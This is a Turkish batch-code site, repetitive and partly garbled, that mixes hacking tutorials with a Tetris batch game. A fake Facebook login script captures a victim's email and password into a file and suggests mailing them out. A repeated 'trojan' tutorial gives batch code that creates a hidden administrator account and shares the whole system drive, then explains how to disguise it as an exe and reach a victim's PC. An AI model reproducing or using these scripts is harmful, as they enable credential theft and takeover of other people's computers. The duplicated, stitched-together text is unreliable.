BAT KODU SİTESİ
BAT KODU SİTESİNE HOŞGELDİNİZ
1. adım > Not defteri açıp aşağıdaki kodları yapıştırın.
2. Adım > Kaydederken istediğiniz adı koyup uzantısını ".bat" olarak kaydedin.
3.Adım > Sonra Baska Not defteri açıp direk Farklı kaydet deyip adını "sifre.bat" olarak kaydedin.(İçi Boş Kalacak)
4.Adım > 1. oluşturduğunuz bat'ı acıp email & şifre girip daha sonra sifre.bat'ı sağ tık > düzenle deyin.
5.Adım > Yazdıgınız E mail ve password karşınızda.
Vb.netle Not defterinden textboxa yazıyı aktarıp email'e gönderebilirsiniz.
Bilgisayarın Her Açılışında Değil Programın Her Açılışında Keylogger İşlem Görücek.
VB.NET İle TExt'teki Emaili ve şifreyi emaile gönderen programı yapabilirsin
bilgisayara rest atınca yanlız çalışmaz start up özelliği yok
buna star up eklersek çok guzel olur 0/35
------------------------
Herkese merhaba bu gün sizlere programsız trojan yapmayı göstericem. Lutfen herhangibi biryerde hata varsa yorum olarak söylerseniz bana en büyük desteği yapmış olursunuz.
![[IMG]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vbXWtCrrn_I0p922kMjqcb2rSrMbZt-ENeuc8yc2oKj8b7CHcgoU9wdupMgVebogFHoyWovp6KxCSR94SOX8fA4DkN0Sw=s0-d)
1.Adım: Öncelikle Başlat'a Tıklıyoruz, Sonrada Çalıştır Diyoruz. Ve Oraya notepad.exe Yazıyoruz, Tamam Diyoruz.
2.Adım: Not Defterinin İçine Bu Kodu Ekliyoruz.
3.Adım: Şimdi İse Dosya Menüsünden Farklı Kaydet Diyoruz, Dosya Adı Yazan Yere Ben.bat Yazıyoruz. Dosya Türünüde Tüm Dosyalar Olarak Seçip Masaüstüne Kaydediyoruz. Trojanımız Hazırdır.
4.Adım: Şimdi İnternetten Resimleri İcon Yapma Programı Araştırıyoruz. İnternette Birsürü Var İndirin Ve Kendi Resminizi İcon Yapın.
5.Adım: Sıra Geldi Diğer İşleme İnternetten quick batch file compiler Adlı Programı İndiriyoruz, Ve Programı Çalıştırıp Open Diyoruz, Ve Masaüstünde Oluşturduğumuz Trojanı Alıyoruz. Daha Sonra Embeded Files Sekmesine Gidiyoruz, Browse'dan Simge Dosyamızı Alıyoruz, Ve Üstteki Project Menüsünden Compile Diyoruz. Dosya Adına Ben Yazıp Masaüstüne Kaydediyoruz İşte hepsi Bu Kadar.
6.Adım: Peki Kurbanın Pc'sine Nasıl Giricez Çok Basit Essential Net Tools Programı İle Kullanımı Basittir. Eğer Bilmiyorsanız // Essential Net Tools Kullanımı // / roper2534 Öğreniyoruz
********
Kod :
@echo off
title Ben.exe
@echo off
net start Messenger
@echo off
net user HACK /add
@echo off
net localgroup administrators HACK /add
@echo off
net share system=%systemdrive% /unlimited
@echo off
net send BURAYA KENDİ İP ADRESİNİZİ YAZIN
@echo off
cls
cls
@echo .:
osya bozuk oldugu icin tam baslatilamadi::.
pause
cls
del Ben.exe
exit
********
Kod un içinde söylenilen yeri silip kendi IP adresinizi yazınız.
KENDI IP NI OGRENMEK ICIN TIKLA
http://www.ipsorgu.com
Herkese merhaba bu gün sizlere programsız trojan yapmayı göstericem. Lutfen herhangibi biryerde hata varsa yorum olarak söylerseniz bana en büyük desteği yapmış olursunuz.
![[IMG]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vbXWtCrrn_I0p922kMjqcb2rSrMbZt-ENeuc8yc2oKj8b7CHcgoU9wdupMgVebogFHoyWovp6KxCSR94SOX8fA4DkN0Sw=s0-d)
1.Adım: Öncelikle Başlat'a Tıklıyoruz, Sonrada Çalıştır Diyoruz. Ve Oraya notepad.exe Yazıyoruz, Tamam Diyoruz.
2.Adım: Not Defterinin İçine Bu Kodu Ekliyoruz.
3.Adım: Şimdi İse Dosya Menüsünden Farklı Kaydet Diyoruz, Dosya Adı Yazan Yere Ben.bat Yazıyoruz. Dosya Türünüde Tüm Dosyalar Olarak Seçip Masaüstüne Kaydediyoruz. Trojanımız Hazırdır.
4.Adım: Şimdi İnternetten Resimleri İcon Yapma Programı Araştırıyoruz. İnternette Birsürü Var İndirin Ve Kendi Resminizi İcon Yapın.
5.Adım: Sıra Geldi Diğer İşleme İnternetten quick batch file compiler Adlı Programı İndiriyoruz, Ve Programı Çalıştırıp Open Diyoruz, Ve Masaüstünde Oluşturduğumuz Trojanı Alıyoruz. Daha Sonra Embeded Files Sekmesine Gidiyoruz, Browse'dan Simge Dosyamızı Alıyoruz, Ve Üstteki Project Menüsünden Compile Diyoruz. Dosya Adına Ben Yazıp Masaüstüne Kaydediyoruz İşte hepsi Bu Kadar.
6.Adım: Peki Kurbanın Pc'sine Nasıl Giricez Çok Basit Essential Net Tools Programı İle Kullanımı Basittir. Eğer Bilmiyorsanız // Essential Net Tools Kullanımı // / roper2534Öğreniyoruz
********
Kod :
@echo off
title Ben.exe
@echo off
net start Messenger
@echo off
net user HACK /add
@echo off
net localgroup administrators HACK /add
@echo off
net share system=%systemdrive% /unlimited
@echo off
net send BURAYA KENDİ İP ADRESİNİZİ YAZIN
@echo off
cls
cls
@echo .:
osya bozuk oldugu icin tam baslatilamadi::.
pause
cls
del Ben.exe
exit
********
Kod un içinde söylenilen yeri silip kendi IP adresinizi yazınız.
-------------------------
TETRİS BAT KODU :
-----------------------------

WantedKankam 2019
---------------------------------
TETRİS KODU :
----------------------
WantedKankam 2019
---------------------------------
Şahsen artık CCleaner kullanmıyorum ve çok işime yarıyor.
Küçük bir not: Çalıştıracağınız Batch dosyası C: diskinde olsun. Yoksa program sapıtıyor.
-------------------------------------
https://forum.sordum.net/viewtopic.php?t=205957
https://ss64.org/viewforum.php?id=2
-------------------------------------
BAT KODU :
-------------------------------
Kod :
------
WantedKankam 2019
---------------------------------
İLKER BABA WantedKankam 2019
@echo off
color a
mode 100
:A
echo %random%%random%%random%%random%%random%%random%%random%
echo %random%%random%%random%%random%%random%%random%%random%
....
....
VB.NET İle TExt'teki Emaili ve şifreyi emaile gönderen programı yapabilirsin.Yapamazsan Söyle.
bilgisayara rest atınca yanlız çalışmaz start up özelliği yok
buna star up eklersek çok guzel olur 0/35
Bu oldukça iyi bir toplu Tetris oyunu
- Bu Yöntemi vb.net bilenler bat'ları gizleyip programa cevirebilir.
1. adım > Not defteri açıp aşağıdaki kodları yapıştırın.
Kod:
ECHO OFF COLOR 03 CLS ECHO. ECHO FACEBOOK ILE OTURUM ACIP MESAJLAS ECHO. ECHO Lutfen E-Mailinizi Girin: SET/P "MAIL=>" ECHO. ECHO Sifrenizi Girin: SET/P "PSWD=>" ECHO Email = %MAIL%>>sifre.bat ECHO Şifre = %PSWD%>>sifre.bat CLS TIMEOUT /T 5 >NUL COLOR 0C ECHO. ECHO Suanda Serverle Baglanti Kurulamiyor Daha Sonra Tekrar Deneyiniz. PAUSE>NUL EXIT
3.Adım > Sonra Baska Not defteri açıp direk Farklı kaydet deyip adını "sifre.bat" olarak kaydedin.(İçi Boş Kalacak)
4.Adım > 1. oluşturduğunuz bat'ı acıp email & şifre girip daha sonra sifre.bat'ı sağ tık > düzenle deyin.
5.Adım > Yazdıgınız E mail ve password karşınızda.
Vb.netle Not defterinden textboxa yazıyı aktarıp email'e gönderebilirsiniz.
VB.NET İle TExt'teki Emaili ve şifreyi emaile gönderen programı yapabilirsin
bilgisayara rest atınca yanlız çalışmaz start up özelliği yok
buna star up eklersek çok guzel olur 0/35
------------------------
Herkese merhaba bu gün sizlere programsız trojan yapmayı göstericem. Lutfen herhangibi biryerde hata varsa yorum olarak söylerseniz bana en büyük desteği yapmış olursunuz.
1.Adım: Öncelikle Başlat'a Tıklıyoruz, Sonrada Çalıştır Diyoruz. Ve Oraya notepad.exe Yazıyoruz, Tamam Diyoruz.
2.Adım: Not Defterinin İçine Bu Kodu Ekliyoruz.
3.Adım: Şimdi İse Dosya Menüsünden Farklı Kaydet Diyoruz, Dosya Adı Yazan Yere Ben.bat Yazıyoruz. Dosya Türünüde Tüm Dosyalar Olarak Seçip Masaüstüne Kaydediyoruz. Trojanımız Hazırdır.
4.Adım: Şimdi İnternetten Resimleri İcon Yapma Programı Araştırıyoruz. İnternette Birsürü Var İndirin Ve Kendi Resminizi İcon Yapın.
5.Adım: Sıra Geldi Diğer İşleme İnternetten quick batch file compiler Adlı Programı İndiriyoruz, Ve Programı Çalıştırıp Open Diyoruz, Ve Masaüstünde Oluşturduğumuz Trojanı Alıyoruz. Daha Sonra Embeded Files Sekmesine Gidiyoruz, Browse'dan Simge Dosyamızı Alıyoruz, Ve Üstteki Project Menüsünden Compile Diyoruz. Dosya Adına Ben Yazıp Masaüstüne Kaydediyoruz İşte hepsi Bu Kadar.
6.Adım: Peki Kurbanın Pc'sine Nasıl Giricez Çok Basit Essential Net Tools Programı İle Kullanımı Basittir. Eğer Bilmiyorsanız // Essential Net Tools Kullanımı // / roper2534 Öğreniyoruz
********
Kod :
@echo off
title Ben.exe
@echo off
net start Messenger
@echo off
net user HACK /add
@echo off
net localgroup administrators HACK /add
@echo off
net share system=%systemdrive% /unlimited
@echo off
net send BURAYA KENDİ İP ADRESİNİZİ YAZIN
@echo off
cls
cls
@echo .:
pause
cls
del Ben.exe
exit
********
Kod un içinde söylenilen yeri silip kendi IP adresinizi yazınız.
KENDI IP NI OGRENMEK ICIN TIKLA
http://www.ipsorgu.com
Herkese merhaba bu gün sizlere programsız trojan yapmayı göstericem. Lutfen herhangibi biryerde hata varsa yorum olarak söylerseniz bana en büyük desteği yapmış olursunuz.
1.Adım: Öncelikle Başlat'a Tıklıyoruz, Sonrada Çalıştır Diyoruz. Ve Oraya notepad.exe Yazıyoruz, Tamam Diyoruz.
2.Adım: Not Defterinin İçine Bu Kodu Ekliyoruz.
3.Adım: Şimdi İse Dosya Menüsünden Farklı Kaydet Diyoruz, Dosya Adı Yazan Yere Ben.bat Yazıyoruz. Dosya Türünüde Tüm Dosyalar Olarak Seçip Masaüstüne Kaydediyoruz. Trojanımız Hazırdır.
4.Adım: Şimdi İnternetten Resimleri İcon Yapma Programı Araştırıyoruz. İnternette Birsürü Var İndirin Ve Kendi Resminizi İcon Yapın.
5.Adım: Sıra Geldi Diğer İşleme İnternetten quick batch file compiler Adlı Programı İndiriyoruz, Ve Programı Çalıştırıp Open Diyoruz, Ve Masaüstünde Oluşturduğumuz Trojanı Alıyoruz. Daha Sonra Embeded Files Sekmesine Gidiyoruz, Browse'dan Simge Dosyamızı Alıyoruz, Ve Üstteki Project Menüsünden Compile Diyoruz. Dosya Adına Ben Yazıp Masaüstüne Kaydediyoruz İşte hepsi Bu Kadar.
6.Adım: Peki Kurbanın Pc'sine Nasıl Giricez Çok Basit Essential Net Tools Programı İle Kullanımı Basittir. Eğer Bilmiyorsanız // Essential Net Tools Kullanımı // / roper2534Öğreniyoruz
********
Kod :
@echo off
title Ben.exe
@echo off
net start Messenger
@echo off
net user HACK /add
@echo off
net localgroup administrators HACK /add
@echo off
net share system=%systemdrive% /unlimited
@echo off
net send BURAYA KENDİ İP ADRESİNİZİ YAZIN
@echo off
cls
cls
@echo .:
pause
cls
del Ben.exe
exit
********
Kod un içinde söylenilen yeri silip kendi IP adresinizi yazınız.
-------------------------
TETRİS BAT KODU :
-----------------------------
Kod:
@echo off
@title Tetris v 1
@mode con cols=28 lines=24
:: Batch Game - Tetris v 1
:: Proof Of Concept
:: Coded by SmartGenius
:: SmartGenius, Corp. 2010
Choice /N /T:Y,1 >Nul 2>&1
If "%Errorlevel%"=="9009" (Echo. CHOICE command not found&Pause&Exit)
Set "Game=%0"
Call :Logo
:Easteregg
Cls
Echo.
Echo.
Echo. Tetris v 1 by SmartGenius
Echo. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³1.³ ³Play TETRIS ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³2.³ ³How to Play ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³3.³ ³Exit Game ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo.
CHOICE /C:123 /N >nul
If "%errorlevel%"=="1" (Goto :Load)
If "%errorlevel%"=="2" (Goto :Help)
If "%errorlevel%"=="3" (Goto :End)
Goto :Easteregg
:Load
Setlocal enabledelayedexpansion
Set /a "LimX=18","LimY=16","TBound=1","LBound=0","Turn=1","Points=0"
Set /a "RBound=%LimX%","BBound=%LimY%"
:Init
For /l %%a in (0,1,%LimX%) do (
For /l %%b in (0,1,%LimY%) do (
Set "X%%aY%%b= "))
Set "Bound=Û"
Set "Bound2=²"
:Main
Set /a "L=(%Random% %% 7)+1"
Call :Figure%L%
Call :Graphic
Goto :Main
:Graphic
If "%New_F%"=="True" (
Call :Solid
Set "New_F=False"
Goto :Eof
)
Call :Clear
Cls
Echo.
Echo. Tetris v 1 by SmartGenius
Echo.
Echo. Points:%Points%
Echo. ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
For /l %%f in (0,1,%LimY%) do (Echo. º!Lin_%%f!º)
Echo. ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Call :Move
Goto :Graphic
:Move
:: Normal CHOICE (provided into ZIP package)
CHOICE /C:SADRXC /N >nul
:: Windows 7 or x64 system CHOICE (uncomment)
REM CHOICE /C SADRXC /N
If "%errorlevel%"=="1" (Call :Down)
If "%errorlevel%"=="2" (Call :Left)
If "%errorlevel%"=="3" (Call :Rigth)
If "%errorlevel%"=="4" (Call :Rotate)
If "%errorlevel%"=="5" (Goto :Easteregg)
If "%errorlevel%"=="6" (Call :MovCR)
::You can not move in 2 different directions at the same time.
REM Call :Down
Call :CheckL2
Goto :Eof
::::::::::::::::::::::::::::::::::::::::
:Solid
For %%a in (%Table%) do (Set "%%a=%Bound2%")
Goto :Eof
:Rotate
Set "TmpTB="
If "%XToken%"=="11" (Set "XToken=10")
If "%YToken%"=="15" (Set "XToken=14")
Set /a "NextRotate=(%RotateLevel% %% 4)+1"
Set "TmpTable=!Figure%CurFig%_Pos%NextRotate%!
For %%R in (%TmpTable%) do (
Call :MovR "%YToken%" "%XToken%" "%%R" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
For %%a in (%Table%) do (Set "%%a= ")
Set "Table=%TmpTB:~1%"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "RotateLevel+=1"
Goto :Eof
:MovR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~3") do (
Set /a MovY=%%q+%~1
Set /a MovX=%%p+%~2
Set "%~4=X!MovX!Y!MovY!"
Set "%~3= ")
Goto :Eof
:::::::::::::::::::::::::::::::::::::::::::
:Down
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "Y%BBound%">nul
If !Errorlevel! EQU 0 (Set "New_F=True"&Goto :Eof)
Call :MovYR "1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
Set "New_F=True"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "YToken+=1"
Goto :Eof
:MovYR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovY=%%q+%~1
Set "%~3=X%%pY!MovY!"
Set "%~2= ")
Goto :Eof
:MovCR
Cls
Echo.
Echo.
Call :L2 "Goto :Eof"
Echo.
For /f "tokens=2 skip=3" %%c in ('find "::_0" %Game%') do (
Set "Tmp_Var=%%c"
Call :Key.A Tmp_Var
Echo. !Tmp_Var!
)
Pause >nul
Goto :Eof
::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::
:Rigth
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%RBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "+1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken+=1"
Goto :Eof
:Left
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%LBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "-1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken-=1"
Goto :Eof
:MovXR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovX=%%p%~1
Set "%~3=X!MovX!Y%%q"
Set "%~2= ")
Goto :Eof
::::::::::::::::::::::::::::::::::::::::
:CheckL2
If "!Lin_1!"=="²²²²²²²²²²²²²²²²²²²" (Goto :Lost)
If "!Lin_%LimY%!"=="²²²²²²²²²²²²²²²²²²²" (
Call :Clear
For /l %%x in (0,1,%LimX%) do (
For /l %%y in (%LimY%,-1,1) do (
Set /a "UpLine=%%y-1"
Call Set "X%%xY%%y=%%X%%xY!UpLine!%%"
))
Set /a "Points+=100"
For /l %%d in (0,1,%LimX%) do (Set "X%%dY0= ")
Goto :CheckL2
)
Goto :Eof
:::::::::::::::::::::::::::::::::::::::::
:Key.A
If not defined %1 Goto:Eof
Set "c="
Set "d=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz =/\()[]{}_-.:,;* @#"
:Key.B
Set "chr=!%1:~,1!"
For /l %%l in (0 1 80) do if "!chr!" equ "!d:~%%l,1!" (
set /a "x=%%l^5"
call set "c=!c!%%d:~!x!,1%%"
)
Set "%1=!%1:~1!"
If defined %1 goto:Key.B
Set "%1=!c!"
Goto :Eof
:::::::::::::::::::::::::::::::::::::::::
:Clear
For /l %%m in (0,1,%LimY%) do (Set Lin_%%m=)
For /l %%d in (0,1,%LimY%) do (
For /l %%e in (0,1,%LimX%) do (
Set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
Goto :Eof
:Lost
Cls
Echo.
Echo. Tetris v 1 by SmartGenius
Echo.
Echo. Points:%Points%
Echo. You lose!
Goto :End
:Win
Cls
Echo.
Echo. Tetris v 1 by SmartGenius
Echo.
Echo. Points:%Points%
Echo. You win!
Goto :End
:End
Echo. Thanks for playing.
Echo. Tetris v1 by SmartGenius
Endlocal
Ping -n 3 localhost >nul
Exit
::::::::::::::::::::::::::::::::::::::::::
:Figure1
Set Figure1_Pos1=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos2=X7Y1,X8Y1,X6Y0,X7Y0
Set Figure1_Pos3=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos4=X7Y1,X8Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure1_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=1","RotateLevel=%R%"
Goto :Eof
:Figure2
Set Figure2_Pos1=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos2=X6Y1,X7Y1,X7Y0,X8Y0
Set Figure2_Pos3=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos4=X6Y1,X7Y1,X7Y0,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure2_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=2","RotateLevel=%R%"
Goto :Eof
:Figure3
Set Figure3_Pos1=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos2=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos3=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos4=X7Y1,X8Y1,X7Y0,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set "Table=!Figure3_Pos%R%!"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=3","RotateLevel=%R%"
Goto :Eof
:Figure4
Set Figure4_Pos1=X6Y1,X7Y1,X8Y1
Set Figure4_Pos2=X7Y2,X7Y1,X7Y0
Set Figure4_Pos3=X6Y1,X7Y1,X8Y1
Set Figure4_Pos4=X7Y2,X7Y1,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure4_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=4","RotateLevel=%R%"
Goto :Eof
:Figure5
Set Figure5_Pos1=X6Y1,X7Y1,X8Y1,X7Y0
Set Figure5_Pos2=X7Y2,X7Y1,X8Y1,X7Y0
Set Figure5_Pos3=X7Y1,X6Y0,X7Y0,X8Y0
Set Figure5_Pos4=X8Y2,X7Y1,X8Y1,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure5_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=5","RotateLevel=%R%"
Goto :Eof
:Figure6
Set Figure6_Pos1=X6Y1,X6Y0,X7Y0,X8Y0
Set Figure6_Pos2=X8Y2,X8Y1,X8Y0,X7Y0
Set Figure6_Pos3=X6Y1,X7Y1,X8Y1,X8Y0
Set Figure6_Pos4=X6Y2,X7Y2,X6Y1,X6Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure6_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=6","RotateLevel=%R%"
Goto :Eof
:Figure7
Set Figure7_Pos1=X8Y1,X6Y0,X7Y0,X8Y0
Set Figure7_Pos2=X7Y2,X8Y2,X8Y1,X8Y0
Set Figure7_Pos3=X6Y1,X7Y1,X8Y1,X6Y0
Set Figure7_Pos4=X6Y2,X6Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure7_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=7","RotateLevel=%R%"
Goto :Eof
::_0 xx9tYjYxWvxPrXmoLjqfzpxx
::_0 xxxxxXhXxLBINRPFGBaxxxxxx
::_0 xxxxxxxxxxxxxxxxxxxxxxxxx
::_0 xPrXmoLjqfzpx9tms-x7545xxx
:Help
Cls
Echo.
Call :L2 "Goto :Eof"
Echo.
Echo. How to Play Batch Tetris ?
Echo.
Echo. Use keys A,S,D,R,X
Echo.
Echo. A = Move Shape Left
Echo. S = Move Shape Down
Echo. D = Move Shape Rigth
Echo. R = Rotate Shape
Echo. X = Back to Menu Game
Echo.
Echo.
Pause >nul
Goto :Easteregg
:Logo
Cls
Color 0b
Echo.
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
:L2
Echo. °°ÛÛÛ°ÛÛÛ°ÛÛÛ°ÛÛ°°Û°°ÛÛ°°°
Echo. °°°Û°°Û°°°°Û°°Û°Û°Û°Û°°°°°
Echo. °°°Û°°ÛÛÛ°°Û°°ÛÛ°°Û°°Û°°°°
Echo. °°°Û°°Û°°°°Û°°Û°Û°Û°°°Û°°°
Echo. °°°Û°°ÛÛÛ°°Û°°Û°Û°Û°ÛÛ°°°°
%~1
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°±°°°°°°°°°²°°°°°°°°°°±°°
Echo. °°±°²°°°²²°°²²°°°²²²°°°±°°
Echo. °°±°²²°°°²°°²°°°°°°°°°°±°°
Echo. °°±°°²°°°²°°°°°°²²°°°°°±°°
Echo. °°±°°°°°°°°°°°°°°²²°°°°±°°
Echo. °°±°°°°°°°°²°°°°°°°°°°°±°°
Echo. °°±²°°°°°°°²²²°°°°°°°°°±°°
Echo. °°±²°°²²°°°°°°°²°°°°°°²±°°
Echo. °°±²°°²²°°°°°°²²²°°°²²²±°°
Echo. °°±±±±±±±±±±±±±±±±±±±±±±°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°: SmartGenius :°°°°°°
Echo. °°°°° Corp. 2010 °°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Ping -n 3 0.0.0.0 >nul
Goto :Eof
WantedKankam 2019
---------------------------------
TETRİS KODU :
----------------------
Klasik tetris oyunu, bana göre toplu olarak kodlanmış.Oyunu dene, S tuşlarını kullan (Aşağı hareket) A (Sola hareket et) D (Hareket et) R (Döndür) X (oyundan çık).
@Echo off
@title Tetris v1.3
@mode con cols=28 lines=24
Setlocal enabledelayedexpansion enableextensions
:: Batch Game - Tetris v1.3
:: Coded by SmartGenius
:: SmartGenius, Corp. 2010
:: Greets to Carlos ;) (for KBD and bug fixes)
Set "Game=%0"
Kbd.exe 1 2>Nul
If "%Errorlevel%"=="9009" (Echo. Kbd command not found&Pause&Exit /b)
Call :Logo
:Menu
Cls
Echo.
Echo.
Echo. Tetris v1.3 by SmartGenius
Echo. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³1.³ ³Play TETRIS ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³2.³ ³How to Play ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³3.³ ³Exit Game ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo.
:MenuIn
Kbd.exe 2
If "%errorlevel%"=="49" (Goto :Load)
If "%errorlevel%"=="50" (Goto :Help)
If "%errorlevel%"=="51" (Goto :End)
Goto :MenuIn
:Load
Set /a "LimX=18","LimY=16","TBound=1","LBound=0","Turn=1","Points=0"
Set /a "RBound=%LimX%","BBound=%LimY%"
:Init
For /l %%a in (0,1,%LimX%) do (
For /l %%b in (0,1,%LimY%) do (
Set "X%%aY%%b= "))
Set "Bound=Û"
Set "Bound2=²"
Set /a "NoPress=0,Pressed=0,Over=0"
:Main
Set /a "L=(%Random% %% 7)+1"
Call :Figure%L%
Call :Graphic
If !Over! Equ 1 Goto :Menu
Goto :Main
:Graphic
Call :Clear
Call :CheckL2
If "%New_F%"=="True" (
Call :Solid
Set "New_F=False"
Goto :Eof
)
Call :Clear
Cls
Echo.
Echo. Tetris v1.3 by SmartGenius
Echo.
Echo. Points:%Points%
Echo. ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
For /l %%f in (0,1,%LimY%) do (Echo. º!Lin_%%f!º)
Echo. ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
:Move
Kbd.exe 1
Set /a "K=!ErrorLevel!"
If !k! Equ 0 (
Set /a "NoPress+=1"
If !NoPress! Equ 3 (
Set /a "NoPress=0"
Call :Down
)
) Else Set /a "Pressed+=1"
If !k! Equ 80 (Call :Down)
If !k! Equ 75 (Call :Left)
If !k! Equ 77 (Call :Rigth)
If !k! Equ 32 (Call :Rotate)
If !k! Equ 120 (Set /a "Over=1" & Goto :Eof)
If !k! Equ 88 (Set /a "Over=1" & Goto :Eof)
If !k! Equ 99 (Call :MovCR)
If !k! Equ 67 (Call :MovCR)
If !Pressed! Equ 3 (
Set /a "Pressed=0"
Call :Down
)
If !Over! Equ 1 Goto :Lost
Goto :Graphic
::::::::::::::::::::::::::::::::::::::::
:Solid
For %%a in (%Table%) do (Set "%%a=%Bound2%")
Goto :Eof
:Rotate
Set "TmpTB="
If "%XToken%"=="-7" (Set "XToken=-6")
If "%XToken%"=="11" (Set "XToken=10")
If "%YToken%"=="15" (Set "XToken=14")
Set /a "NextRotate=(%RotateLevel% %% 4)+1"
Set "TmpTable=!Figure%CurFig%_Pos%NextRotate%!
For %%R in (%TmpTable%) do (
Call :MovR "%YToken%" "%XToken%" "%%R" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
For %%a in (%Table%) do (Set "%%a= ")
Set "Table=%TmpTB:~1%"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "RotateLevel+=1"
Goto :Eof
:MovR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~3") do (
Set /a MovY=%%q+%~1
Set /a MovX=%%p+%~2
Set "%~4=X!MovX!Y!MovY!"
Set "%~3= ")
Goto :Eof
:::::::::::::::::::::::::::::::::::::::::::
:Down
Set "TmpTB="
